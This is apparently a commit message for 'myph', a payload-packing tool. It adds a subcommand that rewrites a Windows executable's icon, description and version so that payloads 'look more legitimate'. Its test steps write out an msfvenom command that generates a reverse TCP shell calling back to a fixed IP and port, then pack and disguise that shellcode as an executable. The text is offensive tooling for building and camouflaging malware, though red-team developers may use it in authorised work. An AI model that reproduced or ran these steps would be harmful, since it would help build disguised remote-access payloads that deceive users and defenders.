feat(cli): winres support to change metadata

[djnnvx]

This commit introduces support for a new subcommand: myph spoof.
It will edit the .rsrc section of a PE binary to set new data into it. You can change the icon of a program, its description or version. This should help make payloads look more legitimate.

• added example in README
• added example json file to serve as a test file

In order to test:

# compile a new version of myph
make

# generate a new shellcode 
msfvenom -p windows/x64/shell_reverse_tcp RHOST=192.168.56.113 LPORT=443 -f raw > msf.raw

# pack your shellcode into a new PE file 
./myph --shellcode msf.raw --out demo.exe

# run spoof command !
./myph spoof --pe demo.exe --file .github/test-data/example.json

# 
# you can now check properties on a windows environment
# 

Couple notes:

-> instead of using goversion & calling it externally, i decided to use a library, so that support is guaranteed as long as myph compiles on host machine
-> fromJson.go could be simplified a lot, but it should be done in another PR, when things are more tested and we better understand what features we want to keep actually.